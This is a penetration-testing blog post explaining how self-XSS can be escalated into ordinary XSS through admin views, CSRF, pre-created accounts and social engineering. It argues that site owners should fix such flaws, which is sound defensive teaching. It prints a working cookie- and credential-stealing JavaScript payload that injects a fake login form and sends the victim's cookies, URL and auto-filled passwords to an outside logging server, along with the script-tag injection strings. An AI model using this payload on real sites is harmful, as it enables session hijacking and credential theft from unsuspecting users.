Maybe you’re a web app pentester who gets frustrated with finding self-xss on sites you test, or maybe you’re a website owner who keeps rejecting self-xss as a valid vulnerability. This post is intended to help both understand the risk involved in self-xss and how it can possibly be used against other users.
So what is self-xss?
self-xss is a form of cross-site scripting (xss) that appears to only function on the user’s account itself and typically requires the user to insert the JavaScript into their own account. This isn’t all that useful to an attacker since the goal is to get the xss to execute on other users of the application. A classic example of self-xss is having an xss vulnerability on the user’s account profile page that can only be viewed by the user. Here’s an example of a user inserting JavaScript into their own account name:
The user sets the value of the ‘name’ field to “><script>alert(1)</script> in order to break out of the initial <input> tag and insert the desired JavaScript into the page. Notice that the resulting page source contains our inserted script tags and the JavaScript executes when the user’s account profile is loaded. Okay, so who will this ‘malicious’ JavaScript affect? If the application allows user’s to see other user’s names, then this would be a nice attack vector, but what if it doesn’t? Who’s going to see the infected username and “get popped” by our malicious JavaScript payload other than ourselves? Below, we’ll discuss several ways that self-xss can be transformed into traditional xss.
Executing on privileged user accounts
Most web applications have tiered permissions on their user accounts. If the self-xss injection point resides in a “normal” user’s account, an administrative user will likely have the ability to view the compromised user account’s details. We’ve seen this occur on many assessments where we are given access to both a normal user account and an administrative user account. By injecting a self-xss payload into the normal user’s account, then viewing that user’s account with the admin account, the xss is successfully executed in the context of the admin account. Well, what if you don’t have access to an admin account in order to verify this behavior manually? You can setup an external logging server and inject a payload that will call out to the logging server. By periodically checking the external server’s logs, you can verify whether or not the payload has been executed by another user.
Here’s a simple example of a php logging page on an external server (ex: https://yourdomain.com/log):
<?php
//use htmlspecialchars() to prevent persistent xss on your own log pages 🙂
$req_dump = htmlspecialchars(print_r($_REQUEST, TRUE), ENT_QUOTES, 'UTF-8');
$headers = apache_request_headers();
//You need to have a request.log file in the current directory for this to work
$fp = fopen('request.log', 'a');
$req_dump .= " - ";
$req_dump .= date("Y-m-d H:i:s");
$req_dump .= "<br>";
foreach ($headers as $header => $value) {
fwrite($fp, "$header: $value <br />\n");
}
fwrite($fp, "<br />\n");
fwrite($fp, $req_dump);
fwrite($fp, "<br />\n");
fclose($fp);
echo "success";
Instead of inserting “><script>alert(1)</script> into the username, you would submit something like: “><script src=’https://yourdomain.com/js/stealcreds.js’>
The following JavaScript would be placed in the stealcreds.js file referenced in the xss. It immediately performs a “check-in” call if the script successfully loads, which sends the user’s cookies and the URL where the xss was executed. The script then inserts an invisible login prompt into the page, then waits for the browser to auto-fill the user’s saved credentials. If the script detects that the form has been auto-filled by the browser, then the user’s credentials are also sent to the logging server:
var done = false;
var stolen = false;
function makeit(){
setTimeout(function(){
var myElem = document.getElementById("loginmodal");
if (myElem === null){
document.body.innerHTML += '<a style="display:none" >Modal Login</a><div id="loginmodal" style="display:none;"><h1>User Login</h1>' +
'<form id="loginform" name="loginform" method="post"><h2 style="color:red">Your session has timed out, ' +
'please re-enter your credentials</h2><label for="username">Username:</label><input type="text" ' +
'name="username" id="username" class="txtfield" tabindex="1"><label for="password">Password:</label>' +
'<input type="password" name="password" id="password" class="txtfield" tabindex="2"><div class="center">' +
'<input type="submit" name="loginbtn" id="loginbtn" class="flatbtn-blu hidemodal" value="Log In" tabindex="3">' +
'</div></form></div>';
XSSImage = new Image;
XSSImage.src="https://yourdomain.com/log?checkin=true&cookies=" + encodeURIComponent(document.cookie) + "&url=" + window.location.href;
}
}, 2000);
}
makeit();
function defer_again(method) {
var myElem = document.getElementById("loginmodal");
if (myElem === null)
setTimeout(function() { defer_again(method) }, 50);
else{
method();
}
}
defer_again(
function trig(){
var uname = document.getElementById('username').value;
var pwd = document.getElementById('password').value;
if (uname.length > 4 && pwd.length > 4)
{
done = true;
//alert("Had this been a real attack... Your credentials were just stolen. User Name = " + uname + " Password = " + pwd);
XSSImage = new Image;
XSSImage.src="https://yourdomain.com/log?username=" + encodeURIComponent(uname) + "&password=" + encodeURIComponent(pwd) +
"&url=" + window.location.href;
stolen = true;
return false;
}
if(!stolen){
document.getElementById('username').focus();
setTimeout(function() { trig() }, 50);
}
}
);
The resulting log entries will look something like this if the browser auto-fills the user’s credentials in our invisible login form:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
The short of it is this: if the affected website is vulnerable to CSRF, then self-xss always becomes regular xss. If I can convince a user to visit my website, then my website makes a post request to the affected website to change the user’s name to “><script src=’https://yourdomain.com/js/stealcreds.js’>, then my work is done and self-xss has successfully been converted to regular xss.
Essentially, CSRF is used to log the current user out of their session and log them back into our compromised user account containing the self-xss. Our cred stealing xss vector would work perfectly for this, since it would steal the user’s browser-stored credentials for us.
Pre-Compromised Accounts
While I’ve never seen/heard of this being successfully implemented, it is possible to target a particular email address and create an account on the affected site for them. The targeted email address will typically receive a welcome email letting them know an account has been created for them on the affected application. As the attacker, we insert the self-xss payload into the user’s account when the account is created. Since the user won’t know the password we’ve set for them, we could also perform the password reset for them, or simply wait for them to perform a password reset request themselves. Once they successfully login to the account, our xss payload will execute.
Xss Jacking
xss jacking is a xss attack by Dylan Ayrey that can steal sensitive information from the victim. xss Jacking requires click hijacking, paste hijacking and paste self-xss vulnerabilities to be present in the affected site, and even needs the help of some social engineering to function properly, so I’m not sure how likely this attack would really be.
While this particular attack vector requires a specific series of somewhat unlikely events to occur, you can see a POC for xss jacking here: https://security.love/XSSJacking/index2.html
Pure Social Engineering
I added this one in even though it doesn’t require the site to actually contain a self-xss vulnerability. This type of attack relies on people being dumb enough to open their web console and paste in unknown JavaScript into it. While this seems rather unlikely, it apparently is more common than you’d think. This type of attack isn’t really a vulnerability on the site per-say, but could be used in conjunction with a lax (or missing) CSP to execute external JavaScript, or to steal the user’s session cookies if they are missing the httponly flag, etc.
Hopefully we’ve been able to highlight some of the ways an attacker could exploit a seemingly innocuous self-xss vulnerability on your site. The key takeaways are:
Even though you don’t *think* that a self-xss vulnerability on your site carries risk, it probably does, and you should fix it regardless.
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
Name
Domain
Purpose
Expiry
Type
YSC
youtube.com
YouTube session cookie.
52 years
HTTP
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Name
Domain
Purpose
Expiry
Type
VISITOR_INFO1_LIVE
youtube.com
YouTube cookie.
6 months
HTTP
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
We do not use cookies of this type.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
We do not use cookies of this type.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
We do not use cookies of this type.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Cookie Settings
Discover why security operations teams choose NetSPI.